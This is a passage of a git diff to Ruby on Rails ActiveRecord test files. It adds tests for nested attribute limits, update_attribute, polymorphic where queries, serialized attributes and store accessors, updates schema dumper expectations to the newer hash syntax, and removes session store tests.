@@ -876,6 +888,36 @@ class TestNestedAttributesLimit < ActiveRecord::TestCase
end
end
+class TestNestedAttributesLimitNumeric < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => 2
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitSymbol < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => :parrots_limit
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?", :parrots_limit => 2)
+ end
+
+ include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitProc < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => proc { 2 }
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ include NestedAttributesLimitTests
+end
+
class TestNestedAttributesWithNonStandardPrimaryKeys < ActiveRecord::TestCase
fixtures :owners, :pets
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 72b8219782..b5f32a57b2 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -371,10 +371,50 @@ class PersistencesTest < ActiveRecord::TestCase
assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
end
+ def test_update_attribute
+ assert !Topic.find(1).approved?
+ Topic.find(1).update_attribute("approved", true)
+ assert Topic.find(1).approved?
+
+ Topic.find(1).update_attribute(:approved, false)
+ assert !Topic.find(1).approved?
+ end
+
def test_update_attribute_does_not_choke_on_nil
assert Topic.find(1).update_attributes(nil)
end
+ def test_update_attribute_for_readonly_attribute
+ minivan = Minivan.find('m1')
+ assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
+ end
+
+ def test_update_attribute_with_one_updated
+ t = Topic.first
+ t.update_attribute(:title, 'super_title')
+ assert_equal 'super_title', t.title
+ assert !t.changed?, "topic should not have changed"
+ assert !t.title_changed?, "title should not have changed"
+ assert_nil t.title_change, 'title change should be nil'
+
+ t.reload
+ assert_equal 'super_title', t.title
+ end
+
+ def test_update_attribute_for_updated_at_on
+ developer = Developer.find(1)
+ prev_month = Time.now.prev_month
+
+ developer.update_attribute(:updated_at, prev_month)
+ assert_equal prev_month, developer.updated_at
+
+ developer.update_attribute(:salary, 80001)
+ assert_not_equal prev_month, developer.updated_at
+
+ developer.reload
+ assert_not_equal prev_month, developer.updated_at
+ end
+
def test_update_column
topic = Topic.find(1)
topic.update_column("approved", true)
@@ -568,26 +608,6 @@ class PersistencesTest < ActiveRecord::TestCase
assert_equal "The First Topic", topic.title
end
- def test_update_attributes_as_admin
- person = TightPerson.create({ "first_name" => 'Joshua' })
- person.update_attributes({ "first_name" => 'Josh', "gender" => 'm', "comments" => 'from NZ' }, :as => :admin)
- person.reload
-
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'from NZ', person.comments
- end
-
- def test_update_attributes_without_protection
- person = TightPerson.create({ "first_name" => 'Joshua' })
- person.update_attributes({ "first_name" => 'Josh', "gender" => 'm', "comments" => 'from NZ' }, :without_protection => true)
- person.reload
-
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'from NZ', person.comments
- end
-
def test_update_attributes!
Reply.validates_presence_of(:title)
reply = Reply.find(2)
@@ -609,26 +629,6 @@ class PersistencesTest < ActiveRecord::TestCase
Reply.reset_callbacks(:validate)
end
- def test_update_attributes_with_bang_as_admin
- person = TightPerson.create({ "first_name" => 'Joshua' })
- person.update_attributes!({ "first_name" => 'Josh', "gender" => 'm', "comments" => 'from NZ' }, :as => :admin)
- person.reload
-
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'from NZ', person.comments
- end
-
- def test_update_attributestes_with_bang_without_protection
- person = TightPerson.create({ "first_name" => 'Joshua' })
- person.update_attributes!({ "first_name" => 'Josh', "gender" => 'm', "comments" => 'from NZ' }, :without_protection => true)
- person.reload
-
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'from NZ', person.comments
- end
-
def test_destroyed_returns_boolean
developer = Developer.first
assert_equal false, developer.destroyed?
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index 90c690e266..9c0b139dbf 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -1,9 +1,71 @@
require "cases/helper"
+require 'models/author'
+require 'models/price_estimate'
+require 'models/treasure'
require 'models/post'
+require 'models/comment'
+require 'models/edge'
module ActiveRecord
class WhereTest < ActiveRecord::TestCase
- fixtures :posts
+ fixtures :posts, :edges
+
+ def test_belongs_to_shallow_where
+ author = Author.new
+ author.id = 1
+
+ assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
+ end
+
+ def test_belongs_to_nested_where
+ parent = Comment.new
+ parent.id = 1
+
+ expected = Post.where(comments: { parent_id: 1 }).joins(:comments)
+ actual = Post.where(comments: { parent: parent }).joins(:comments)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_shallow_where
+ treasure = Treasure.new
+ treasure.id = 1
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_sti_shallow_where
+ treasure = HiddenTreasure.new
+ treasure.id = 1
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_nested_where
+ thing = Post.new
+ thing.id = 1
+
+ expected = Treasure.where(price_estimates: { thing_type: 'Post', thing_id: 1 }).joins(:price_estimates)
+ actual = Treasure.where(price_estimates: { thing: thing }).joins(:price_estimates)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_sti_nested_where
+ treasure = HiddenTreasure.new
+ treasure.id = 1
+
+ expected = Treasure.where(price_estimates: { estimate_of_type: 'Treasure', estimate_of_id: 1 }).joins(:price_estimates)
+ actual = Treasure.where(price_estimates: { estimate_of: treasure }).joins(:price_estimates)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
def test_where_error
assert_raises(ActiveRecord::StatementInvalid) do
@@ -15,5 +77,13 @@ module ActiveRecord
post = Post.first
assert_equal post, Post.where(:posts => { 'id' => post.id }).first
end
+
+ def test_where_with_table_name_and_empty_hash
+ assert_equal 0, Post.where(:posts => {}).count
+ end
+
+ def test_where_with_empty_hash_and_no_foreign_key
+ assert_equal 0, Edge.where(:sink => {}).count
+ end
end
end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 5fb54b1ca1..6399111be6 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -19,6 +19,11 @@ module ActiveRecord
assert !relation.loaded, 'relation is not loaded'
end
+ def test_responds_to_model_and_returns_klass
+ relation = Relation.new :a, :b
+ assert_equal :a, relation.model
+ end
+
def test_initialize_single_values
relation = Relation.new :a, :b
(Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method|
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 684538940a..b91423351e 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -656,6 +656,14 @@ class RelationTest < ActiveRecord::TestCase
assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
end
+ def test_select_takes_a_variable_list_of_args
+ david = developers(:david)
+
+ developer = Developer.where(id: david.id).select(:name, :salary).first
+ assert_equal david.name, developer.name
+ assert_equal david.salary, developer.salary
+ end
+
def test_select_argument_error
assert_raises(ArgumentError) { Developer.select }
end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 01dd25a9df..80f46c6b08 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -79,9 +79,9 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_arguments_line_up
column_definition_lines.each do |column_set|
- assert_line_up(column_set, /:default => /)
- assert_line_up(column_set, /:limit => /)
- assert_line_up(column_set, /:null => /)
+ assert_line_up(column_set, /default: /)
+ assert_line_up(column_set, /limit: /)
+ assert_line_up(column_set, /null: /)
end
end
@@ -96,7 +96,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
output = stream.string
- assert_match %r{:null => false}, output
+ assert_match %r{null: false}, output
end
def test_schema_dump_includes_limit_constraint_for_integer_columns
@@ -107,46 +107,46 @@ class SchemaDumperTest < ActiveRecord::TestCase
output = stream.string
if current_adapter?(:PostgreSQLAdapter)
- assert_match %r{c_int_1.*:limit => 2}, output
- assert_match %r{c_int_2.*:limit => 2}, output
+ assert_match %r{c_int_1.*limit: 2}, output
+ assert_match %r{c_int_2.*limit: 2}, output
# int 3 is 4 bytes in postgresql
assert_match %r{c_int_3.*}, output
- assert_no_match %r{c_int_3.*:limit}, output
+ assert_no_match %r{c_int_3.*limit:}, output
assert_match %r{c_int_4.*}, output
- assert_no_match %r{c_int_4.*:limit}, output
+ assert_no_match %r{c_int_4.*limit:}, output
elsif current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
- assert_match %r{c_int_1.*:limit => 1}, output
- assert_match %r{c_int_2.*:limit => 2}, output
- assert_match %r{c_int_3.*:limit => 3}, output
+ assert_match %r{c_int_1.*limit: 1}, output
+ assert_match %r{c_int_2.*limit: 2}, output
+ assert_match %r{c_int_3.*limit: 3}, output
assert_match %r{c_int_4.*}, output
assert_no_match %r{c_int_4.*:limit}, output
elsif current_adapter?(:SQLite3Adapter)
- assert_match %r{c_int_1.*:limit => 1}, output
- assert_match %r{c_int_2.*:limit => 2}, output
- assert_match %r{c_int_3.*:limit => 3}, output
- assert_match %r{c_int_4.*:limit => 4}, output
+ assert_match %r{c_int_1.*limit: 1}, output
+ assert_match %r{c_int_2.*limit: 2}, output
+ assert_match %r{c_int_3.*limit: 3}, output
+ assert_match %r{c_int_4.*limit: 4}, output
end
assert_match %r{c_int_without_limit.*}, output
- assert_no_match %r{c_int_without_limit.*:limit}, output
+ assert_no_match %r{c_int_without_limit.*limit:}, output
if current_adapter?(:SQLite3Adapter)
- assert_match %r{c_int_5.*:limit => 5}, output
- assert_match %r{c_int_6.*:limit => 6}, output
- assert_match %r{c_int_7.*:limit => 7}, output
- assert_match %r{c_int_8.*:limit => 8}, output
+ assert_match %r{c_int_5.*limit: 5}, output
+ assert_match %r{c_int_6.*limit: 6}, output
+ assert_match %r{c_int_7.*limit: 7}, output
+ assert_match %r{c_int_8.*limit: 8}, output
elsif current_adapter?(:OracleAdapter)
- assert_match %r{c_int_5.*:limit => 5}, output
- assert_match %r{c_int_6.*:limit => 6}, output
- assert_match %r{c_int_7.*:limit => 7}, output
- assert_match %r{c_int_8.*:limit => 8}, output
+ assert_match %r{c_int_5.*limit: 5}, output
+ assert_match %r{c_int_6.*limit: 6}, output
+ assert_match %r{c_int_7.*limit: 7}, output
+ assert_match %r{c_int_8.*limit: 8}, output
else
- assert_match %r{c_int_5.*:limit => 8}, output
- assert_match %r{c_int_6.*:limit => 8}, output
- assert_match %r{c_int_7.*:limit => 8}, output
- assert_match %r{c_int_8.*:limit => 8}, output
+ assert_match %r{c_int_5.*limit: 8}, output
+ assert_match %r{c_int_6.*limit: 8}, output
+ assert_match %r{c_int_7.*limit: 8}, output
+ assert_match %r{c_int_8.*limit: 8}, output
end
end
@@ -182,15 +182,15 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_schema_dumps_index_columns_in_right_order
index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
- assert_equal 'add_index "companies", ["firm_id", "type", "rating", "ruby_type"], :name => "company_index"', index_definition
+ assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
end
def test_schema_dumps_partial_indices
index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
if current_adapter?(:PostgreSQLAdapter)
- assert_equal 'add_index "companies", ["firm_id", "type"], :name => "company_partial_index", :where => "(rating > 10)"', index_definition
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)"', index_definition
else
- assert_equal 'add_index "companies", ["firm_id", "type"], :name => "company_partial_index"', index_definition
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
end
end
@@ -198,25 +198,25 @@ class SchemaDumperTest < ActiveRecord::TestCase
output = standard_dump
match = output.match(%r{create_table "movies"(.*)do})
assert_not_nil(match, "nonstandardpk table not found")
- assert_match %r(:primary_key => "movieid"), match[1], "non-standard primary key not preserved"
+ assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
end
if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
def test_schema_dump_should_not_add_default_value_for_mysql_text_field
output = standard_dump
- assert_match %r{t.text\s+"body",\s+:null => false$}, output
+ assert_match %r{t.text\s+"body",\s+null: false$}, output
end
def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
output = standard_dump
- assert_match %r{t.binary\s+"tiny_blob",\s+:limit => 255$}, output
+ assert_match %r{t.binary\s+"tiny_blob",\s+limit: 255$}, output
assert_match %r{t.binary\s+"normal_blob"$}, output
- assert_match %r{t.binary\s+"medium_blob",\s+:limit => 16777215$}, output
- assert_match %r{t.binary\s+"long_blob",\s+:limit => 2147483647$}, output
- assert_match %r{t.text\s+"tiny_text",\s+:limit => 255$}, output
+ assert_match %r{t.binary\s+"medium_blob",\s+limit: 16777215$}, output
+ assert_match %r{t.binary\s+"long_blob",\s+limit: 2147483647$}, output
+ assert_match %r{t.text\s+"tiny_text",\s+limit: 255$}, output
assert_match %r{t.text\s+"normal_text"$}, output
- assert_match %r{t.text\s+"medium_text",\s+:limit => 16777215$}, output
- assert_match %r{t.text\s+"long_text",\s+:limit => 2147483647$}, output
+ assert_match %r{t.text\s+"medium_text",\s+limit: 16777215$}, output
+ assert_match %r{t.text\s+"long_text",\s+limit: 2147483647$}, output
end
end
@@ -225,7 +225,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
output = stream.string
- assert_match %r{:precision => 3,[[:space:]]+:scale => 2,[[:space:]]+:default => 2.78}, output
+ assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2.78}, output
end
if current_adapter?(:PostgreSQLAdapter)
@@ -236,6 +236,13 @@ class SchemaDumperTest < ActiveRecord::TestCase
end
end
+ def test_schema_dump_includes_json_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_json_data_type"} =~ output
+ assert_match %r|t.json "json_data", default: {}|, output
+ end
+ end
+
def test_schema_dump_includes_inet_shorthand_definition
output = standard_dump
if %r{create_table "postgresql_network_address"} =~ output
@@ -267,7 +274,15 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_schema_dump_includes_hstores_shorthand_definition
output = standard_dump
if %r{create_table "postgresql_hstores"} =~ output
- assert_match %r[t.hstore "hash_store", :default => {}], output
+ assert_match %r[t.hstore "hash_store", default: {}], output
+ end
+ end
+
+ def test_schema_dump_includes_arrays_shorthand_definition
+ output = standard_dump
+ if %r{create_table "postgresql_arrays"} =~ output
+ assert_match %r[t.text\s+"nicknames",\s+array: true], output
+ assert_match %r[t.integer\s+"commission_by_quarter",\s+array: true], output
end
end
@@ -283,9 +298,9 @@ class SchemaDumperTest < ActiveRecord::TestCase
output = standard_dump
# Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
if current_adapter?(:OracleAdapter)
- assert_match %r{t.integer\s+"atoms_in_universe",\s+:precision => 38,\s+:scale => 0}, output
+ assert_match %r{t.integer\s+"atoms_in_universe",\s+precision: 38,\s+scale: 0}, output
else
- assert_match %r{t.decimal\s+"atoms_in_universe",\s+:precision => 55,\s+:scale => 0}, output
+ assert_match %r{t.decimal\s+"atoms_in_universe",\s+precision: 55,\s+scale: 0}, output
end
end
@@ -293,13 +308,13 @@ class SchemaDumperTest < ActiveRecord::TestCase
output = standard_dump
match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
assert_not_nil(match, "goofy_string_id table not found")
- assert_match %r(:id => false), match[1], "no table id not preserved"
- assert_match %r{t.string[[:space:]]+"id",[[:space:]]+:null => false$}, match[2], "non-primary key id column not preserved"
+ assert_match %r(id: false), match[1], "no table id not preserved"
+ assert_match %r{t.string[[:space:]]+"id",[[:space:]]+null: false$}, match[2], "non-primary key id column not preserved"
end
def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
output = standard_dump
- assert_match %r{create_table "subscribers", :id => false}, output
+ assert_match %r{create_table "subscribers", id: false}, output
end
class CreateDogMigration < ActiveRecord::Migration
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index ce167509c1..25b860878a 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -18,12 +18,6 @@ class SerializationTest < ActiveRecord::TestCase
}
end
- def test_serialized_init_with
- topic = Topic.allocate
- topic.init_with('attributes' => { 'content' => '--- foo' })
- assert_equal 'foo', topic.content
- end
-
def test_serialize_should_be_reversible
FORMATS.each do |format|
@serialized = Contact.new.send("to_#{format}")
@@ -51,11 +45,4 @@ class SerializationTest < ActiveRecord::TestCase
assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
end
end
-
- def test_serialized_attributes_are_class_level_settings
- assert_raise NoMethodError do
- topic = Topic.new
- topic.serialized_attributes = []
- end
- end
end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
new file mode 100644
index 0000000000..f24ee54cd2
--- /dev/null
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -0,0 +1,205 @@
+require "cases/helper"
+require 'models/topic'
+require 'bcrypt'
+
+class SerializedAttributeTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ MyObject = Struct.new :attribute1, :attribute2
+
+ def teardown
+ super
+ Topic.serialize("content")
+ end
+
+ def test_list_of_serialized_attributes
+ assert_equal %w(content), Topic.serialized_attributes.keys
+ end
+
+ def test_serialized_attributes_are_class_level_settings
+ topic = Topic.new
+ assert_raise(NoMethodError) { topic.serialized_attributes = [] }
+ assert_deprecated { topic.serialized_attributes }
+ end
+
+ def test_serialized_attribute
+ Topic.serialize("content", MyObject)
+
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.create("content" => myobj)
+ assert_equal(myobj, topic.content)
+
+ topic.reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_serialized_attribute_init_with
+ topic = Topic.allocate
+ topic.init_with('attributes' => { 'content' => '--- foo' })
+ assert_equal 'foo', topic.content
+ end
+
+ def test_serialized_attribute_in_base_class
+ Topic.serialize("content", Hash)
+
+ hash = { 'content1' => 'value1', 'content2' => 'value2' }
+ important_topic = ImportantTopic.create("content" => hash)
+ assert_equal(hash, important_topic.content)
+
+ important_topic.reload
+ assert_equal(hash, important_topic.content)
+ end
+
+ # This test was added to fix GH #4004. Obviously the value returned
+ # is not really the value 'before type cast' so we should maybe think
+ # about changing that in the future.
+ def test_serialized_attribute_before_type_cast_returns_unserialized_value
+ Topic.serialize :content, Hash
+
+ t = Topic.new(:content => { :foo => :bar })
+ assert_equal({ :foo => :bar }, t.content_before_type_cast)
+ t.save!
+ t.reload
+ assert_equal({ :foo => :bar }, t.content_before_type_cast)
+ end
+
+ def test_serialized_attribute_calling_dup_method
+ Topic.serialize :content, JSON
+
+ t = Topic.new(:content => { :foo => :bar }).dup
+ assert_equal({ :foo => :bar }, t.content_before_type_cast)
+ end
+
+ def test_serialized_attribute_declared_in_subclass
+ hash = { 'important1' => 'value1', 'important2' => 'value2' }
+ important_topic = ImportantTopic.create("important" => hash)
+ assert_equal(hash, important_topic.important)
+
+ important_topic.reload
+ assert_equal(hash, important_topic.important)
+ assert_equal(hash, important_topic.read_attribute(:important))
+ end
+
+ def test_serialized_time_attribute
+ myobj = Time.local(2008,1,1,1,0)
+ topic = Topic.create("content" => myobj).reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_serialized_string_attribute
+ myobj = "Yes"
+ topic = Topic.create("content" => myobj).reload
+ assert_equal(myobj, topic.content)
+ end
+
+ def test_nil_serialized_attribute_without_class_constraint
+ topic = Topic.new
+ assert_nil topic.content
+ end
+
+ def test_nil_not_serialized_without_class_constraint
+ assert Topic.new(:content => nil).save
+ assert_equal 1, Topic.where(:content => nil).count
+ end
+
+ def test_nil_not_serialized_with_class_constraint
+ Topic.serialize :content, Hash
+ assert Topic.new(:content => nil).save
+ assert_equal 1, Topic.where(:content => nil).count
+ end
+
+ def test_serialized_attribute_should_raise_exception_on_save_with_wrong_type
+ Topic.serialize(:content, Hash)
+ topic = Topic.new(:content => "string")
+ assert_raise(ActiveRecord::SerializationTypeMismatch) { topic.save }
+ end
+
+ def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.new(:content => myobj)
+ assert topic.save
+ Topic.serialize(:content, Hash)
+ assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
+ end
+
+ def test_serialized_attribute_with_class_constraint
+ settings = { "color" => "blue" }
+ Topic.serialize(:content, Hash)
+ topic = Topic.new(:content => settings)
+ assert topic.save
+ assert_equal(settings, Topic.find(topic.id).content)
+ end
+
+ def test_serialized_default_class
+ Topic.serialize(:content, Hash)
+ topic = Topic.new
+ assert_equal Hash, topic.content.class
+ assert_equal Hash, topic.read_attribute(:content).class
+ topic.content["beer"] = "MadridRb"
+ assert topic.save
+ topic.reload
+ assert_equal Hash, topic.content.class
+ assert_equal "MadridRb", topic.content["beer"]
+ end
+
+ def test_serialized_no_default_class_for_object
+ topic = Topic.new
+ assert_nil topic.content
+ end
+
+ def test_serialized_boolean_value_true
+ topic = Topic.new(:content => true)
+ assert topic.save
+ topic = topic.reload
+ assert_equal topic.content, true
+ end
+
+ def test_serialized_boolean_value_false
+ topic = Topic.new(:content => false)
+ assert topic.save
+ topic = topic.reload
+ assert_equal topic.content, false
+ end
+
+ def test_serialize_with_coder
+ coder = Class.new {
+ # Identity
+ def load(thing)
+ thing
+ end
+
+ # base 64
+ def dump(thing)
+ [thing].pack('m')
+ end
+ }.new
+
+ Topic.serialize(:content, coder)
+ s = 'hello world'
+ topic = Topic.new(:content => s)
+ assert topic.save
+ topic = topic.reload
+ assert_equal [s].pack('m'), topic.content
+ end
+
+ def test_serialize_with_bcrypt_coder
+ crypt_coder = Class.new {
+ def load(thing)
+ return unless thing
+ BCrypt::Password.new thing
+ end
+
+ def dump(thing)
+ BCrypt::Password.create(thing).to_s
+ end
+ }.new
+
+ Topic.serialize(:content, crypt_coder)
+ password = 'password'
+ topic = Topic.new(:content => password)
+ assert topic.save
+ topic = topic.reload
+ assert_kind_of BCrypt::Password, topic.content
+ assert_equal(true, topic.content == password, 'password should equal')
+ end
+end
diff --git a/activerecord/test/cases/session_store/session_test.rb b/activerecord/test/cases/session_store/session_test.rb
deleted file mode 100644
index a3b8ab74d9..0000000000
--- a/activerecord/test/cases/session_store/session_test.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-require 'cases/helper'
-require 'action_dispatch'
-require 'active_record/session_store'
-
-module ActiveRecord
- class SessionStore
- class SessionTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
-
- attr_reader :session_klass
-
- def setup
- super
- ActiveRecord::Base.connection.schema_cache.clear!
- Session.drop_table! if Session.table_exists?
- @session_klass = Class.new(Session)
- end
-
- def test_data_column_name
- # default column name is 'data'
- assert_equal 'data', Session.data_column_name
- end
-
- def test_table_name
- assert_equal 'sessions', Session.table_name
- end
-
- def test_accessible_attributes
- assert Session.accessible_attributes.include?(:session_id)
- assert Session.accessible_attributes.include?(:data)
- assert Session.accessible_attributes.include?(:marshaled_data)
- end
-
- def test_create_table!
- assert !Session.table_exists?
- Session.create_table!
- assert Session.table_exists?
- Session.drop_table!
- assert !Session.table_exists?
- end
-
- def test_find_by_sess_id_compat
- Session.reset_column_information
- klass = Class.new(Session) do
- def self.session_id_column
- 'sessid'
- end
- end
- klass.create_table!
-
- assert klass.columns_hash['sessid'], 'sessid column exists'
- session = klass.new(:data => 'hello')
- session.sessid = "100"
- session.save!
-
- found = klass.find_by_session_id("100")
- assert_equal session, found
- assert_equal session.sessid, found.session_id
- ensure
- klass.drop_table!
- Session.reset_column_information
- end
-
- def test_find_by_session_id
- Session.create_table!
- session_id = "10"
- s = session_klass.create!(:data => 'world', :session_id => session_id)
- t = session_klass.find_by_session_id(session_id)
- assert_equal s, t
- assert_equal s.data, t.data
- Session.drop_table!
- end
-
- def test_loaded?
- Session.create_table!
- s = Session.new
- assert !s.loaded?, 'session is not loaded'
- end
- end
- end
-end
diff --git a/activerecord/test/cases/session_store/sql_bypass_test.rb b/activerecord/test/cases/session_store/sql_bypass_test.rb
deleted file mode 100644
index b8cf4cf2cc..0000000000
--- a/activerecord/test/cases/session_store/sql_bypass_test.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-require 'cases/helper'
-require 'action_dispatch'
-require 'active_record/session_store'
-
-module ActiveRecord
- class SessionStore
- class SqlBypassTest < ActiveRecord::TestCase
- def setup
- super
- Session.drop_table! if Session.table_exists?
- end
-
- def test_create_table
- assert !Session.table_exists?
- SqlBypass.create_table!
- assert Session.table_exists?
- SqlBypass.drop_table!
- assert !Session.table_exists?
- end
-
- def test_new_record?
- s = SqlBypass.new :data => 'foo', :session_id => 10
- assert s.new_record?, 'this is a new record!'
- end
-
- def test_persisted?
- s = SqlBypass.new :data => 'foo', :session_id => 10
- assert !s.persisted?, 'this is a new record!'
- end
-
- def test_not_loaded?
- s = SqlBypass.new({})
- assert !s.loaded?, 'it is not loaded'
- end
-
- def test_loaded?
- s = SqlBypass.new :data => 'hello'
- assert s.loaded?, 'it is loaded'
- end
-
- def test_save
- SqlBypass.create_table! unless Session.table_exists?
- session_id = 20
- s = SqlBypass.new :data => 'hello', :session_id => session_id
- s.save
- t = SqlBypass.find_by_session_id session_id
- assert_equal s.session_id, t.session_id
- assert_equal s.data, t.data
- end
-
- def test_destroy
- SqlBypass.create_table! unless Session.table_exists?
- session_id = 20
- s = SqlBypass.new :data => 'hello', :session_id => session_id
- s.save
- s.destroy
- assert_nil SqlBypass.find_by_session_id session_id
- end
-
- def test_data_column
- SqlBypass.drop_table! if exists = Session.table_exists?
- old, SqlBypass.data_column = SqlBypass.data_column, 'foo'
- SqlBypass.create_table!
-
- session_id = 20
- SqlBypass.new(:data => 'hello', :session_id => session_id).save
- assert_equal 'hello', SqlBypass.find_by_session_id(session_id).data
- ensure
- SqlBypass.drop_table!
- SqlBypass.data_column = old
- SqlBypass.create_table! if exists
- end
- end
- end
-end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 3e60b62fd5..dc47d40f41 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -29,11 +29,23 @@ class StoreTest < ActiveRecord::TestCase
assert_equal 'graeters', @john.reload.settings[:icecream]
end
+ test "overriding a read accessor" do
+ @john.settings[:phone_number] = '1234567890'
+
+ assert_equal '(123) 456-7890', @john.phone_number
+ end
+
test "updating the store will mark it as changed" do
@john.color = 'red'
assert @john.settings_changed?
end
+ test "updating the store populates the changed array correctly" do
+ @john.color = 'red'
+ assert_equal 'black', @john.settings_change[0]['color']
+ assert_equal 'red', @john.settings_change[1]['color']
+ end
+
test "updating the store won't mark it as changed if an attribute isn't changed" do
@john.color = @john.color
assert !@john.settings_changed?
@@ -48,6 +60,12 @@ class StoreTest < ActiveRecord::TestCase
assert_equal false, @john.remember_login
end
+ test "overriding a write accessor" do
+ @john.phone_number = '(123) 456-7890'
+
+ assert_equal '1234567890', @john.settings[:phone_number]
+ end
+
test "preserve store attributes data in HashWithIndifferentAccess format without any conversion" do
@john.json_data = HashWithIndifferentAccess.new(:height => 'tall', 'weight' => 'heavy')
@john.height = 'low'
@@ -117,14 +135,13 @@ class StoreTest < ActiveRecord::TestCase
assert_equal false, @john.is_a_good_guy
end
- test "stored attributes are returned" do
- assert_equal [:color, :homepage], Admin::User.stored_attributes[:settings]
+ test "all stored attributes are returned" do
+ assert_equal [:color, :homepage, :favorite_food, :phone_number], Admin::User.stored_attributes[:settings]
end
test "stores_attributes are class level settings" do
- assert_raise NoMethodError do
- @john.stored_attributes = {}
- end
+ assert_raise(NoMethodError) { @john.stored_attributes = Hash.new }
+ assert_raise(NoMethodError) { @john.stored_attributes }
end
end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
index b49561d858..69a049fcfa 100644
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -20,20 +20,32 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
- def test_creates_database_with_default_options
